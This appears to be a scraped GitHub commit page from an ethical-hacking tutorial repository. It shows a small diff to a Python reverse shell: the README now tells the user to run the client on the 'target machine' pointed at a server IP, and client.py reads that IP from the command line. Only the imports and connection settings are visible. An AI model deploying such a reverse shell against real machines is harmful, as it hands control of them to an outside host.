Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commitd8c41dd

Browse files
committed
fixed client issue
1 parent47907e9 commitd8c41dd

File tree

2 files changed

+4
-3
lines changed

2 files changed

+4
-3
lines changed

‎ethical-hacking/reverse_shell/README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,9 +8,9 @@ You don't need to install anything.
88
```
99
Listening as 0.0.0.0:5003 ...
1010
```
11-
- Running the client (target machine):
11+
- Running the client (target machine) that connects to 192.168.1.104 (server's IP Address):
1212
```
13-
python client.py
13+
python client.py 192.168.1.104
1414
```
1515
**Output:**
1616
```

‎ethical-hacking/reverse_shell/client.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,8 @@
11
importsocket
22
importsubprocess
3+
importsys
34

4-
SERVER_HOST="192.168.1.103"
5+
SERVER_HOST=sys.argv[1]
56
SERVER_PORT=5003
67
BUFFER_SIZE=1024
78

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp